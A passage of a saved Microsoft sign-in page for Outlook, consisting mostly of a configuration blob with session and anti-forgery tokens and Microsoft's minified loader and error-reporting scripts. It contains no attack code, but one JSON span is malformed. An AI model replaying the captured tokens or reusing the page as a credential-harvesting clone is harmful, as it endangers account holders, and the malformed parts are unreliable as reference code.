U3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026flow=fido\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlRefresh":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1","urlCancel":"https://outlook.office.com/owa/","urlResume":"https://login.microsoftonline.com/common/resume?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iPawnIcon":0,"iPollingInterval":1,"sPOST_Username":"","sFT":"AQABAAEAAAD--DLA3VO7QrddgJg7WevrRZTv_7Mb56t0hEeulUDrRcx_PrhgMaupbyATtZfnRmsr18Ns6bZeyhLJ1eOhKOnFIl6As2C4PhDXGxoZYPQCJYMIRRKr8ux4CsNTxcFzaXtH8i4WhcmS7ecGfOwgsEIVNDGwSpUGaJVE5hF95hDnnCNyGK_bhmTqyz6aktMGGx5m07pD2WI8szP5dzRNBTf9nDe5wmALyovRL4QGU3Roof-vR2Aym-8NckBbRT6L6v50qlPGbusTZS0j8w2DjusHfPzbrh99tS7cHYVbUgPuOy1Z7LLWXQzU2PgT72j3DRNleKnyZJHGTzg7SPUzw3eF02PyFz9LuryM90UxKbAU3owifX16Wi7WyrfNIT_L4w7faCgTowaCm1B_wc1vzXm6atwnqmAPiHldhhb-PcNhc5IWpsCYnqSjZ5kxVfd0j7ZQn-82JFyBEWT8g9X8_oxIjc3cTLLMZ5ygI6YaXUul8wNzUbXr039ZNLDxC2Nc4NYgAA","sFTName":"flowToken","sFTCookieName":"ESTSWCTXFLOWTOKEN","sSessionIdentifierName":"code","sCtx":"rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iProductIcon":-1,"staticTenantBranding":null,"oAppCobranding":{"backgroundLogoIndex":53,"backgroundImageIndex":49,"friendlyAppName":"Outlook"},"iBackgroundImage":2,"arrSessions":[],"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.microsoftonline.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"https://outlook.office.com/owa/","redirectDssoErrorPostParams":{"error":"interaction_required","error_description":"Seamless single sign on failed for the user. This can happen if the user is unable to access on premises AD or intranet zone is not configured correctly\r\nTrace ID: XMRnTimestamp: 2021-03-06 11:19:43Z","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026origin=login.microsoftonline.com\u0026is_redirected=1"},"urlLogin":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","urlDssoStatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus","iSessionPullType":2,"fUseSameSite":true,"iAllowedIdentities":1,"isGlobalTenant":true,"uiflavor":1001,"urlFidoHelp":"https://go.microsoft.com/fwlink/?linkid=2013738","urlFidoLogin":"https://login.microsoft.com/common/fido/get?uiflavor=Web\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","fIsFidoSupported":true,"fHideLocalAccount":false,"scid":1013,"hpgact":1800,"hpgid":1104,"pgid":"ConvergedSignIn","apiCanary":"AQABAAAAAAD--DLA3VO7QrddgJg7WevrDp27T3oS8EY6IpHrD2G4k144B9L1zo58D_xIvta8EaSnAUAUZl7p_i9bhWqF8eDyv8237lrgE13xRa0hMKbFIrlh_639vZJPXTZuWAWpl0V2OLtqAxS7EA4EbLTXm-4RZeR7f7AS_M5vx6vJZBcev_m_qdWGTIrjPvsAGvzOyHLmqXcCOuoId3Y1LGHqHtfkYMvOjw_KybS9tGdnK1DnMiAA","canary":"RpFH535KI29cVMPt95etwWZEIRUqo+jgHPMhOlilr+w=6:1","correlationId":"d254356d-ffce-4ea7-b0dd-9307eef5b6ee","sessionId":"46cb149f-9658-41b3-b269-70d217634400","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.microsoftonline.com/common/instrumentation/reportpageload","dssostatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Firefox":1,"_Win":1,"_M83":1,"_D0":1,"Full":1,"Win81":1,"RE_Gecko":1,"b":{"name":"Firefox","major":83,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"83.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_ybdb1ixzkv-fkor2mu6q6w2.js","sbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://login.microsoftonline.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".login.microsoftonline.com"],"envErrorRedirect":true,"envErrorUrl":"/common/handlers/enverror"},"loader":{"cdnRoots":["https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"WUS2","ri":"MW1XXXX","ver":{"v":[2,1,11530,15]},"rt":"2021-03-06T11:19:43","et":52},"country":"US","fBreakBrandingSigninString":true,"fFixIncorrectApiCanaryUsage":true,"bsso":{"initiatePullTimeoutMs":100,"initiatePullTimeoutAction":"continue","rid":"XMR":"end","END_SSO":"end-sso","END_USERS":"end-users"},"forceTiles":true,"nonce":"AwABAAAAAAACAOz_BAD0_9IG1hbpUKFOYYR3vayixNgTGb1hnJ7vvvKBbl_5yS1z8SzReVS2k6qGIinDoJo0LwnH8ZlEM8cA7vnI96yAcIMgAA","overallTimeoutMs":4000,"telemetry":{"type":"TBAuthTelemetry","nonce":"AwABAAEAAAACAOz_BAD0_zAaVTb88660r1knGrRJDQW1Y_gVHcMu1323gMErKm5CKJKROxyGPcxg-oDpuMEzA-seAMmJNXwMSet6OD04-oIcADBRIGgEvHbMzsaVv7YvIAA","reportStates":["end","end-sso","end-users"]},"redirectEndStates":["end","end-users"],"cookieNames":{"aadSso":"AADSSO","winSso":"ESTSSSO","ssoTiles":"ESTSSSOTILES","ssoPulled":"SSOCOOKIEPULLED","userList":"ESTSUSERLIST"},"enabled":true,"type":"windows","reason":"Pull is needed; Forcing tiles experience as silent SSO not allowed"},"urlNoCookies":"https://login.microsoftonline.com/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true};
//]]></script> 
<script type="text/javascript">//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,a=(new Date).toUTCString()+":"+e;n.push(o+":"+a),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(a){var i=e[a];if(a<n-1){return void(o.r[i]?t(a+1):o.when(i,function(){t(a+1)}))}r(i)}var n=e.length;t(0)}function r(e,r,a){function i(){var e=!!u.method,o=e?u.method:a[0],i=u.extraArgs||[],s=n.$WebWatson;try{
var c=t(a,!e);if(i&&i.length>0){for(var d=i.length,l=0;l<d;l++){c.push(i[l])}}o.apply(r,c)}catch(e){return void(s&&s.submitFromException&&s.submitFromException(e))}}var u=o.r&&o.r[e];return r=r||this,u&&(u.skipTimeout?i():n.setTimeout(i,0)),u}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function a(e){r(e,i,u)||o.q.push({"id":e,"c":i,"a":u})}var i=0,u=[],s=1;"function"==typeof n||(i=n,
s=2);for(var c=s;c<arguments.length;c++){u.push(arguments[c])}t instanceof Array?e(t,a):a(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var a={};if(t&&(a.method=t),n&&(a.skipTimeout=n),arguments&&arguments.length>3){a.extraArgs=[];for(var i=3;i<arguments.length;i++){a.extraArgs.push(arguments[i])}}o.r[e]=a,o.lock++;try{for(var u=0;u<o.q.length;u++){var s=o.q[u];s.id==e&&r(e,s.c,s.a)&&o.removeItems.push(s)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!i){if(!r.body){return void setTimeout(t)}i=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!u){if(!r.body){return void setTimeout(n)}t(),u=!0,e.$Do.register("doc.load",0,!0),a()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function a(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var i=!1,u=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
return f.$Config||f.ServerData||{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")||-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){
var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function a(){var r=e();return(r.loader||{}).slReportFailure||r.slReportFailure||!1}function i(){return(e().loader||{}).redirectToErrorPageOnLoadFailure||!1}function u(){return(e().loader||{}).logByThrowing||!1}function s(e){if(!t()&&!n()){return!1}var r=e.src||e.href||"";if(!r){return!0}if(o(r)){var a,i,u;try{a=e.sheet,i=a&&a.cssRules,u=!1}catch(e){u=!0}if(a&&!i&&u){return!0}
if(a&&i&&0===i.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var s=null;return s=o(e)?a(e):"script"===n.toLowerCase()?i(e):u(e,n),r&&(s.id=r),"function"==typeof s.setAttribute&&(s.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&s.setAttribute("integrity",t)),s}function a(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function i(e){var r=g.createElement("script")
;return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function u(e,r){var t=g.createElement(r);return t.src=e,t}function d(e){if(!(m&&m.length>1)){return e}for(var r=0;r<m.length;r++){if(0===e.indexOf(m[r])){return m[r+1<m.length?r+1:0]+e.substring(m[r].length)}}return e}function l(e,t,n,o){if(r("[$Loader]: "+(b.failMessage||"Failed"),o),$[e].retry<p){return $[e].retry++,v(e,t,n),void c._ReportFailure($[e].retry,$[e].srcPath)}n&&n()}function f(e,t,n,o){if(s(o)){return l(e,t,n,o)}
r("[$Loader]: "+(b.successMessage||"Loaded"),o),v(e+1,t,n);var a=$[e].onSuccess;"function"==typeof a&&a($[e].srcPath)}function v(e,o,a){if(e<$.length){var i=$[e];if(!i||!i.srcPath){return void v(e+1,o,a)}i.retry>0&&(i.srcPath=d(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var u=n(i.srcPath,i.id,i.integrity,i.tagName);u.onload=function(){f(e,o,a,u)},u.onerror=function(){l(e,o,a,u)},u.onreadystatechange=function(){"loaded"===u.readyState?setTimeout(function(){f(e,o,a,u)
},500):"complete"===u.readyState&&f(e,o,a,u)},t(u),r("[$Loader]: Loading '"+(i.srcPath||"")+"', id:"+(i.id||""))}else{o&&o()}}var h=e(),p=h.slMaxRetry||2,y=h.loader||{},m=y.cdnRoots||[],b=this,$=[];b.retryOnError=!0,b.successMessage="Loaded",b.failMessage="Error",b.Add=function(e,r,t,n,o,a){e&&$.push({"srcPath":e,"id":r,"retry":n||0,"integrity":t,"tagName":o||"script","onSuccess":a})},b.AddForReload=function(e,r){var t=e.src||e.href||"";b.Add(t,"AddForReload",e.integrity,1,e.tagName,r)},
b.AddIf=function(e,r,t){e&&b.Add(r,t)},b.Load=function(e,r){v(0,e,r)}}var d,l,f=window,g=f.document,v=".css";c.On=function(e,r,t){if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(s(e)){return c.OnError(e,t)}var n=e.src||e.href||"",o=a(),u=i();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",
d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial load success. ['"+n+"']"}u&&(document.location.href="/error.aspx?err=504")})},c.OnError=function(e,t){var n=e.src||e.href||"",o=a(),u=i();if(!e){throw"The target element must be provided and cannot be null."}r("[$Loader]: Failed",e);var s=new c;s.failMessage="Reload Failed",s.successMessage="Reload Success",s.AddForReload(e,t),s.Load(null,function(){if(o){throw"Failed to load external resource ['"+n+"']"}
u&&(document.location.href="/error.aspx?err=504")}),c._ReportFailure(0,n)},c._ReportFailure=function(e,r){if(u()&&!t()){throw"[Retry "+e+"] Failed to load external resource ['"+r+"'], reloading from fallback CDN endpoint"}},f.$Loader=c}(),function(){function e(){if(!$){var e=new h.$Loader;e.AddIf(!h.jQuery,y.sbundle,"WebWatson_DemandSupport"),y.sbundle=null,delete y.sbundle,e.AddIf(!h.$Api,y.fbundle,"WebWatson_DemandFramework"),y.fbundle=null,delete y.fbundle,e.Add(y.bundle,"WebWatson_DemandLoaded"),
e.Load(r,t),$=!0}}function r(){if(h.$WebWatson){if(h.$WebWatson.isProxy){return void t()}m.when("$WebWatson.full",function(){for(;b.length>0;){var e=b.shift();e&&h.$WebWatson[e.cmdName].apply(h.$WebWatson,e.args)}})}}function t(){if(!h.$WebWatson||h.$WebWatson.isProxy){if(!w&&JSON){try{var e=new XMLHttpRequest;e.open("POST",y.url),e.setRequestHeader("Accept","application/json"),e.setRequestHeader("Content-Type","application/json; charset=UTF-8"),e.setRequestHeader("canary",p.apiCanary),
e.setRequestHeader("client-request-id",p.correlationId),e.setRequestHeader("hpgid",p.hpgid||0),e.setRequestHeader("hpgact",p.hpgact||0);for(var r=-1,t=0;t<b.length;t++){if("submit"===b[t].cmdName){r=t;break}}var o=b[r]?b[r].args||[]:[],a={"sr":y.sr,"ec":"Failed to load external resource [Core Watson files]","wec":55,"idx":1,"pn":p.pgid||"","sc":p.scid||0,"hpg":p.hpgid||0,"msg":"Failed to load external resource [Core Watson files]","url":o[1]||"","ln":0,"ad":0,"an":!1,"cs":"","sd":p.serverDetails,"ls":null,
"diag":v(y)};e.send(JSON.stringify(a))}catch(e){}w=!0}y.loadErrorUrl&&window.location.assign(y.loadErrorUrl)}n()}function n(){b=[],h.$WebWatson=null}function o(r){return function(){var t=arguments;b.push({"cmdName":r,"args":t}),e()}}function a(){var e=["foundException","resetException","submit"],r=this;r.isProxy=!0;for(var t=e.length,n=0;n<t;n++){var a=e[n];a&&(r[a]=o(a))}}function i(e,r,t,n,o,a,i){var u=h.event;return a||(a=l(o||u,i?i+2:2)),
h.$Debug&&h.$Debug.appendLog&&h.$Debug.appendLog("[WebWatson]:"+(e||"")+" in "+(r||"")+" @ "+(t||"??")),E.submit(e,r,t,n,o||u,a,i)}function u(e,r){return{"signature":e,"args":r,"toString":function(){return this.signature}}}function s(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){r.push(u(t[n],[]))}return r}function c(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){var o=u(t[n],[]);t[n+1]&&(o.signature+="@"+t[n+1],n++),r.push(o)}return r}function d(e){if(!e){return null}try{if(e.stack){
return s(e.stack)}if(e.error){if(e.error.stack){return s(e.error.stack)}}else if(window.opera&&e.message){return c(e.message)}}catch(e){}return null}function l(e,r){var t=[];try{for(var n=arguments.callee;r>0;){n=n?n.caller:n,r--}for(var o=0;n&&o<L;){var a="InvalidMethod()";try{a=n.toString()}catch(e){}var i=[],s=n.args||n.arguments;if(s){for(var c=0;c<s.length;c++){i[c]=s[c]}}t.push(u(a,i)),n=n.caller,o++}}catch(e){t.push(u(e.toString(),[]))}var l=d(e)
;return l&&(t.push(u("--- Error Event Stack -----------------",[])),t=t.concat(l)),t}function f(e){if(e){try{var r=/function (.{1,})\(/,t=r.exec(e.constructor.toString());return t&&t.length>1?t[1]:""}catch(e){}}return""}function g(e){if(e){try{if("string"!=typeof e&&JSON&&JSON.stringify){var r=f(e),t=JSON.stringify(e);return t&&"{}"!==t||(e.error&&(e=e.error,r=f(e)),(t=JSON.stringify(e))&&"{}"!==t||(t=e.toString())),r+":"+t}}catch(e){}}return""+(e||"")}function v(e){var r=[];try{
if(jQuery?(r.push("jQuery v:"+jQuery().jquery),jQuery.easing?r.push("jQuery.easing:"+JSON.stringify(jQuery.easing)):r.push("jQuery.easing is not defined")):r.push("jQuery is not defined"),e&&e.expectedVersion&&r.push("Expected jQuery v:"+e.expectedVersion),m){var t,n="";for(t=0;t<m.o.length;t++){n+=m.o[t]+";"}for(r.push("$Do.o["+n+"]"),n="",t=0;t<m.q.length;t++){n+=m.q[t].id+";"}r.push("$Do.q["+n+"]")}if(h.$Debug&&h.$Debug.getLogs){var o=h.$Debug.getLogs();o&&o.length>0&&(r=r.concat(o))}if(b){
for(var a=0;a<b.length;a++){var i=b[a];if(i&&"submit"===i.cmdName){try{if(JSON&&JSON.stringify){var u=JSON.stringify(i);u&&r.push(u)}}catch(e){r.push(g(e))}}}}}catch(e){r.push(g(e))}return r}var h=window,p=h.$Config||{},y=p.watson,m=h.$Do;if(!h.$WebWatson&&y){var b=[],$=!1,w=!1,L=10,E=h.$WebWatson=new a;E.CB={},E._orgErrorHandler=h.onerror,h.onerror=i,E.errorHooked=!0,m.when("jQuery.version",function(e){y.expectedVersion=e}),m.register("$WebWatson")}}(),function(){function e(e,r){
for(var t=r.split("."),n=t.length,o=0;o<n&&null!==e&&void 0!==e;){e=e[t[o++]]}return e}function r(r){var t=null;return null===s&&(s=e(a,"Constants")),null!==s&&r&&(t=e(s,r)),null===t||void 0===t?"":t.toString()}function t(t){var n=null;return null===i&&(i=e(a,"$Config.strings")),null!==i&&t&&(n=e(i,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n||(n=t("errors."+e)),n||(n=t("errors."+c)),n||(n=t(c)),n}
function o(t){var n=null;return null===u&&(u=e(a,"$Config.urls")),null!==u&&t&&(n=e(u,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}var a=window,i=null,u=null,s=null,c="GENERIC_ERROR";a.GetString=t,a.GetErrorString=n,a.GetUrl=o}(),function(){var e=window,r=e.$Config||{};e.$B=r.browser||{}}();

//]]></script> 

        <link rel="prefetch" href="https://login.live.com/Me.htm?v=3">
        <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">

    <script type="text/javascript">
        ServerData = $Config;
    </script>


    
    <link crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css" rel="stylesheet" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-aaNZkp+Orf+VEZusNFIGnTEJZ9UmRa1+oTUDIv88KY1TTwkFhoZ4wzV9pd5ujWPC">



<script crossorigin="anonymous" src="https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)"></script>

    <script crossorigin="anonymous" src="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-RUzxg1X2m7djUACTlbHZxYYNzWy5WKCPy5MncckGmTnhsxraQQQsSPOSAMHg1U68"></script>

    


<link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css"><link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js">
</head>

<body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;">
   
    <script type="text/javascript">
//<![CDATA[
(function () {
var $Prefetch={"rfPre":true,"delay":1000,"maxHistory":4,"maxAge":43200,"ageRes":1440,"name":"clrc","fetch":[{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css","hash":"TfCbp8XZ","co":true,"rf":true},{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js","hash":"0XngNfCT","co":true,"rf":true}],"mode":5};
!function(e,t,n){function r(e){x.appendLog&&x.appendLog("Client Prefetch: "+e)}function i(){try{for(var e=t.cookie.split(";"),r=0;r<e.length;r++){var i=e[r];if(i){var o=i.indexOf("=");if(-1!==o){if(i.substr(0,o).trim()===n.name){var u=i.substr(o+1);return JSON.parse(c(u))}}}}}catch(e){}return{}}function o(e,t,n){return e.replace(t,n)}function c(e){return e=o(e,/%5c/g,"\\"),e=o(e,/%3e/g,">"),e=o(e,/%3d/g,"="),e=o(e,/%3c/g,"<"),e=o(e,/%3b/g,";"),e=o(e,/%3a/g,":"),e=o(e,/%2c/g,","),e=o(e,/%27/g,"'"),
